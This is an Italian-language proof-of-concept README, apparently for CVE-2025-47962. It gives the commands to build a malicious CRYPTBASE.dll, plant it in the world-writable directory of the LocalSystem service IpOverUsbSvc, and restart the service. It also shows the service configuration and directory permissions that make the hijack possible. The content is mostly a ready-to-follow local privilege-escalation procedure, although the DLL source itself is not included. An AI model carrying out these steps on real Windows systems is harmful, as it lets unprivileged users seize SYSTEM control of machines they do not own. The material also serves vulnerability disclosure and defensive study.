CVE-2025-47962-POC

Procedimento di riproduzione: i686-w64-mingw32-gcc -shared -o CRYPTBASE.dll poc.c -lkernel32

copy CRYPTBASE.dll "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\CRYPTBASE.dll"

net stop IpOverUsbSvc net start IpOverUsbSvc

Spiegazione: IpOverUsbSvc

sc.exe qc IpOverUsbSvc

SERVICE_NAME: IpOverUsbSvc
TYPE               : 10  WIN32_OWN_PROCESS
START_TYPE         : 2   AUTO_START
BINARY_PATH_NAME   : "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\IpOverUsbSvc.exe"
SERVICE_START_NAME : LocalSystem

Viene eseguito con privilegi LocalSystem. L'eseguibile si trova nella directory C:\Microsoft Shared, sulla quale gli utenti standard dispongono delle autorizzazioni di controllo completo. È stato scoperto che gli utenti comuni possono scrivere file nella directory del servizio SYSTEM. Quindi monitorare la DLL

Le autorizzazioni per la directory C:\Microsoft Shared\ creata durante l'installazione di Windows SDK sono configurate in modo non corretto:

C:\Microsoft Shared BUILTIN\Users:(I)(OI)(CI)(F)
                    NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(M)